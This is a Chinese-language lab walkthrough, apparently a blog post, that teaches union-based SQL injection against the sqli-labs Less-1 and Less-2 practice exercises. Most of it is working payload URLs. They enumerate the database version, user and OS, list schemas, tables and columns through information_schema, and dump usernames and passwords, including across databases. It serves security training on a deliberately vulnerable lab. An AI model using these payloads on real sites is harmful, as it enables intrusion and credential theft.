Pikachu 通关手册(持续更新)

知识点

1、必要知识:在MySql5.0以上版本中,MySQL存在一个自带数据库名为information_schema,他是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询他获取指定数据库下面的表名或列名信息

2、数据库中符号”.“代表下一级,如information_schema.tables表示数据库下information_schema下的所有表

3、information_schema.schemata 记录所有数据库名信息的表

     information_schema.tables 记录所有表名信息的表

     information_schema.columns 记录所有列名信息的表

     table_name 表名

     column_name 列名

     table_schema数据库名

Less1 (字符型注入)

1.寻找注入点

判断是否存在注入点:

①SQL语句在定义时有可控变量,并且代入数据库查询;

②变量没有进行过滤或者过滤不严谨

test1.com/sqli-labs/Less-1/?id=1' and 1=1 --+ 页面显示正常 ’表示字符,--+放在最后注释多余部分

test1.com/sqli-labs/Less-1/?id=1' and 1=2 --+ 页面显示异常

以上得出该界面存在注入点

2.报错猜解列名数量(字段数)

test1.com/sqli-labs/Less-1/?id=-1' order by 4 页面报错显示 id=-1是为了让页面能显示数字

由此得出列名数量为3

通过 union 联合查询出信息,图中返回的数字为2,3,表示select 1,2,3中,2,3可以进行替换

http://test1.com/sqli-labs/Less-1/?id=-1' union select1,2,3--+

3.信息收集:

version() 数据库版本:test1.com/sqli-labs/Less-1/?id=-1' union select 1,version(),3 --+

database() 数据库名字: test1.com/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+

user() 数据库用户:test1.com/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+

@@version_compile_os

操作系统:test1.com/sqli-labs/Less-1/?id=-1' union select 1,@@version_compile_os,3 --+

综上可知,数据库版本:5.7.26

数据库名字:security

数据库用户:root@localhost

操作系统:Win 32

4.SQL语句注入

找到对应数据库下的表名

test1.com/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

group_concat(table),表示显示所有的表

找到users名下的列名

test1.com/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name ) from information_schema.columns where table_name ='users' --+

找到账号

test1.com/sqli-labs/Less-1/?id=-1' union select 1,2,username from security.users --+

找到密码

test1.com/sqli-labs/Less-1/?id=-1' union select 1,2,password from security.users --+

Less2(跨库注入)

前提:注入点用户为高级权限

mysql 高权限用户为root

SQL server 数据库最高权限为Sysadmin

?id=-1 union select 1,2,user() --+

查出数据库用户为root 为高权限用户

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查出所有的数据库

查询pikachu下的所有表名

?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --+

查询pikachu下的user表下的所有字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu' --+

查询pikachu下user表中的username和password数据

?id=-1 union select 1,username,password from pikachu.users --+

由上得到用户名和密码

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值